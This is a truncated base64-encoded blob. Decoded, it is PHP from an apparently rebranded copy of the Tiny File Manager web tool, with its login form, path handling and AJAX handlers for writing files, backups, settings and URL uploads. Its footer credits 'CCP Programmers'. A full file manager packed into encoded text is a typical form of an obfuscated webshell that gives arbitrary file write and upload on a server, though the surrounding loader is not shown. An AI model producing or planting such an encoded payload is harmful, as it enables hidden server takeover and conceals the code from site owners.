ppZiAoJHVzZV9hdXRoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pKSB7CiAgICAgICAgLy8gTG9nZ2VkCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV91c3InXSwgJF9QT1NUWydmbV9wd2QnXSwgJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIC8vIExvZ2dpbmcgSW4KICAgICAgICBzbGVlcCgxKTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N3b3JkX3ZlcmlmeScpKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkYXV0aF91c2Vyc1skX1BPU1RbJ2ZtX3VzciddXSkgJiYgaXNzZXQoJF9QT1NUWydmbV9wd2QnXSkgJiYgcGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsnZm1fcHdkJ10sICRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiB2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdZb3UgYXJlIGxvZ2dlZCBpbicpKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0xvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCcpLCAnZXJyb3InKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7OwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgLy8gRm9ybQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7CiAgICAgICAgPz4KICAgICAgICA8c2VjdGlvbiBjbGFzcz0iaC0xMDAiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1tZC1jZW50ZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgZmF0IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImZvcm0tc2lnbmluIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJicmFuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPSIxLjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgTTEwMDggd2lkdGg9IjEwMCUiIGhlaWdodD0iODBweCIgdmlld0JveD0iMCAwIDIzOC4wMDAwMDAgMTQwLjAwMDAwMCIgYXJpYS1sYWJlbD0iSDNLIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKSIgZmlsbD0iIzAwMDAwMCIgc3Ryb2tlPSJub25lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNjAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyNjAgMCAyNjAgNzAgMCA3MCAwIDAgLTI2MCAwIC0yNjAgMTEwIDAgMTEwIDAgMCA2MDAgMCA2MDAgLTExMCAwIC0xMTAgMCAwIC0yNjAgMCAtMjYwIC03MCAwIC03MCAwIDAgMjYwIDAgMjYwIC0xMTAgMCAtMTEwIDAgMCAtNjAweiIvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZmlsbD0iIzAwMzUwMCIgZD0iTTEwMDggMTIyNyBsLTEwOCAtNzIgMCAtMTE3IDAgLTExOCAxMTAgMCAxMTAgMCAwIDExMCAwIDExMCA3MCAwIDcwIDAgMCAtMTgwIDAgLTE4MCAtMTI1IDAgYy02OSAwIC0xMjUgLTMgLTEyNSAtNiAwIC0zIDIzIC0zOSA1MiAtODAgbDUyIC03NCA3MyAwIDczIDAgMCAtMTg1IDAgLTE4NSAtNzAgMCAtNzAgMCAwIDExNSAwIDExNSAtMTEwIDAgLTExMCAwIDAgLTE5MCAwIC0xOTAgMTgxIDAgMTgxIDAgMTA5IDczIDEwOCA3MiAxIDE4MSAwIDE4MSAtNjkgNDggLTY4IDQ5IDY4IDUwIDY5IDQ5IDAgMjQ5IDAgMjQ4IC0xODIgLTEgLTE4MyAwIC0xMDcgLTcyeiIvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE2NDAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyMDggMCAyMDggMzUgMzQgMzUgMzQgMzUgLTM0IDM1IC0zNCAwIC0yMDggMCAtMjA4IDExMCAwIDExMCAwIDAgMjEyIDAgMjEzIC04NyA4NyAtODggODggODggODggODcgODcgMCAyMTMgMCAyMTIgLTExMCAwIC0xMTAgMCAwIC0yMDggMCAtMjA4IC03MCAtNjkgLTcwIC02OSAwIDI3NyAwIDI3NyAtMTEwIDAgLTExMCAwIDAgLTYwMHoiLz48L2c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImNhcmQtdGl0bGUiPjw/cGhwIGVjaG8gQVBQX1RJVExFOyA/PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZtX3VzciIgY2xhc3M9InBiLTIiPjw/cGhwIGVjaG8gbG5nKCdVc2VybmFtZScpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF1aXJlZCBhdXRvZm9jdXM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKTsgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0iZm1fcHdkIiBuYW1lPSJmbV9wd2QiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm1fc2hvd19tZXNzYWdlKCk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00IiByb2xlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdMb2dpbicpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKAlOKAlCDCqQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPkNDUCBQcm9ncmFtbWVyczwvYT4g4oCU4oCUCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvc2VjdGlvbj4KCiAgICAgICAgPD9waHAKICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCi8vIHVwZGF0ZSByb290IHBhdGgKaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkgewogICAgJHJvb3RfcGF0aCA9IGlzc2V0KCRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSkgPyAkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0gOiAkcm9vdF9wYXRoOwp9CgovLyBjbGVhbiBhbmQgY2hlY2sgJHJvb3RfcGF0aAokcm9vdF9wYXRoID0gcnRyaW0oJHJvb3RfcGF0aCwgJ1xcLycpOwokcm9vdF9wYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcm9vdF9wYXRoKTsKaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7CiAgICBlY2hvICI8aDE+Ii5sbmcoJ1Jvb3QgcGF0aCcpLiIgXCJ7JHJvb3RfcGF0aH1cIiAiLmxuZygnbm90IGZvdW5kIScpLiIgPC9oMT4iOwogICAgZXhpdDsKfQoKZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTsKZGVmaW5lZCgnRk1fUk9PVF9QQVRIJykgfHwgZGVmaW5lKCdGTV9ST09UX1BBVEgnLCAkcm9vdF9wYXRoKTsKZGVmaW5lZCgnRk1fTEFORycpIHx8IGRlZmluZSgnRk1fTEFORycsICRsYW5nKTsKZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fVVBMT0FEX0VYVEVOU0lPTicpIHx8IGRlZmluZSgnRk1fVVBMT0FEX0VYVEVOU0lPTicsICRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fRVhDTFVERV9JVEVNUycpIHx8IGRlZmluZSgnRk1fRVhDTFVERV9JVEVNUycsICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykgPyBzZXJpYWxpemUoJGV4Y2x1ZGVfaXRlbXMpIDogJGV4Y2x1ZGVfaXRlbXMpKTsKZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTsKZGVmaW5lKCdGTV9SRUFET05MWScsICRnbG9iYWxfcmVhZG9ubHkgfHwgKCR1c2VfYXV0aCAmJiAhZW1wdHkoJHJlYWRvbmx5X3VzZXJzKSAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiBpbl9hcnJheSgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkcmVhZG9ubHlfdXNlcnMpKSk7CmRlZmluZSgnRk1fSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKCi8vIGFsd2F5cyB1c2UgP3A9CmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpOwp9CgovLyBnZXQgcGF0aAokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6IChpc3NldCgkX1BPU1RbJ3AnXSkgPyAkX1BPU1RbJ3AnXSA6ICcnKTsKCi8vIGNsZWFuIHBhdGgKJHAgPSBmbV9jbGVhbl9wYXRoKCRwKTsKCi8vIGZvciBhamF4IHJlcXVlc3QgLSBzYXZlCiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7CgovLyBpbnN0ZWFkIGdsb2JhbHMgdmFycwpkZWZpbmUoJ0ZNX1BBVEgnLCAkcCk7CmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpOwpkZWZpbmUoJ0ZNX0VESVRfRklMRScsICRlZGl0X2ZpbGVzKTsKZGVmaW5lZCgnRk1fSUNPTlZfSU5QVVRfRU5DJykgfHwgZGVmaW5lKCdGTV9JQ09OVl9JTlBVVF9FTkMnLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcpOwpkZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpOwpkZWZpbmVkKCdGTV9ISUdITElHSFRKU19TVFlMRScpIHx8IGRlZmluZSgnRk1fSElHSExJR0hUSlNfU1RZTEUnLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwpkZWZpbmVkKCdGTV9EQVRFVElNRV9GT1JNQVQnKSB8fCBkZWZpbmUoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcsICRkYXRldGltZV9mb3JtYXQpOwoKdW5zZXQoJHAsICR1c2VfYXV0aCwgJGljb252X2lucHV0X2VuY29kaW5nLCAkdXNlX2hpZ2hsaWdodGpzLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwoKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIEhhbmRsZSBhbGwgQUpBWCBSZXF1ZXN0CmlmICgoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pIHx8ICFGTV9VU0VfQVVUSCkgJiYgaXNzZXQoJF9QT1NUWydhamF4J10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgICAgIGRpZSgiSW52YWxpZCBUb2tlbi4iKTsKICAgIH0KCiAgICAvL3NlYXJjaCA6IGdldCBsaXN0IG9mIGZpbGVzIGZyb20gdGhlIGN1cnJlbnQgZm9sZGVyCiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ109PSJzZWFyY2giKSB7CiAgICAgICAgJGRpciA9ICRfUE9TVFsncGF0aCddID09ICIuIiA/ICcnOiAkX1BPU1RbJ3BhdGgnXTsKICAgICAgICAkcmVzcG9uc2UgPSBzY2FuKGZtX2NsZWFuX3BhdGgoJGRpciksICRfUE9TVFsnY29udGVudCddKTsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICAgICAgZXhpdCgpOwogICAgfQoKICAgIC8vIHNhdmUgZWRpdG9yIGZpbGUKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInNhdmUiKSB7CiAgICAgICAgLy8gZ2V0IGN1cnJlbnQgcGF0aAogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgIC8vIGNoZWNrIHBhdGgKICAgICAgICBpZiAoIWlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7CiAgICAgICAgfQogICAgICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgICAgICB9CiAgICAgICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTsKICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAgICAgJHdyaXRlZGF0YSA9ICRfUE9TVFsnY29udGVudCddOwogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7CiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7CiAgICAgICAgZmNsb3NlKCRmZCk7CiAgICAgICAgaWYgKCR3cml0ZV9yZXN1bHRzID09PSBmYWxzZSl7CiAgICAgICAgICAgIGhlYWRlcigiSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIpOwogICAgICAgICAgICBkaWUoIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIC8gT3duZXJzaGlwIik7CiAgICAgICAgfQogICAgICAgIGRpZSh0cnVlKTsKICAgIH0KCiAgICAvLyBiYWNrdXAgZmlsZXMKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gImJhY2t1cCIgJiYgIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgewogICAgICAgICRmaWxlTmFtZSA9IGZtX2NsZWFuX3BhdGgoJF9QT1NUWydmaWxlJ10pOwogICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICcvJzsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncGF0aCddKSkgewogICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgICAgICRmdWxsUGF0aCAuPSAieyRyZWxhdGl2ZURpclBhdGh9LyI7CiAgICAgICAgfQogICAgICAgICRkYXRlID0gZGF0ZSgiZE15LUhpcyIpOwogICAgICAgICRuZXdGaWxlTmFtZSA9ICJ7JGZpbGVOYW1lfS17JGRhdGV9LmJhayI7CiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkZpbGUgeyRmaWxlTmFtZX0gbm90IGZvdW5kIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGNvcHkoJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUsICRmdWxsUGF0aCAuICRuZXdGaWxlTmFtZSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkIjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkNvdWxkIG5vdCBjb3B5IGZpbGUgeyRmaWxlTmFtZX0iKTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICBlY2hvICRlLT5nZXRNZXNzYWdlKCk7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFNhdmUgQ29uZmlnCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJzZXR0aW5ncyIpIHsKICAgICAgICBnbG9iYWwgJGNmZywgJGxhbmcsICRyZXBvcnRfZXJyb3JzLCAkc2hvd19oaWRkZW5fZmlsZXMsICRsYW5nX2xpc3QsICRoaWRlX0NvbHMsICR0aGVtZTsKICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddOwogICAgICAgIGZtX2dldF90cmFuc2xhdGlvbnMoW10pOwogICAgICAgIGlmICghYXJyYXlfa2V5X2V4aXN0cygkbmV3TG5nLCAkbGFuZ19saXN0KSkgewogICAgICAgICAgICAkbmV3TG5nID0gJ2VuJzsKICAgICAgICB9CgogICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107CgogICAgICAgIGlmICgkY2ZnLT5kYXRhWydsYW5nJ10gIT0gJG5ld0xuZykgewogICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nOwogICAgICAgICAgICAkbGFuZyA9ICRuZXdMbmc7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddID0gJGVycDsKICAgICAgICAgICAgJHJlcG9ydF9lcnJvcnMgPSAkZXJwOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmOwogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmOwogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykgewogICAgICAgICAgICAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA9ICRoY287CiAgICAgICAgICAgICRoaWRlX0NvbHMgPSAkaGNvOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsndGhlbWUnXSAhPSAkdGUzKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3RoZW1lJ10gPSAkdGUzOwogICAgICAgICAgICAkdGhlbWUgPSAkdGUzOwogICAgICAgIH0KICAgICAgICAkY2ZnLT5zYXZlKCk7CiAgICAgICAgZWNobyB0cnVlOwogICAgfQoKICAgIC8vIG5ldyBwYXNzd29yZCBoYXNoCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJwd2RoYXNoIikgewogICAgICAgICRyZXMgPSBpc3NldCgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10pID8gcGFzc3dvcmRfaGFzaCgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10sIFBBU1NXT1JEX0RFRkFVTFQpIDogJyc7CiAgICAgICAgZWNobyAkcmVzOwogICAgfQoKICAgIC8vdXBsb2FkIHVzaW5nIHVybAogICAgaWYoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJ1cGxvYWQiICYmICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQoKICAgICAgICAgZnVuY3Rpb24gZXZlbnR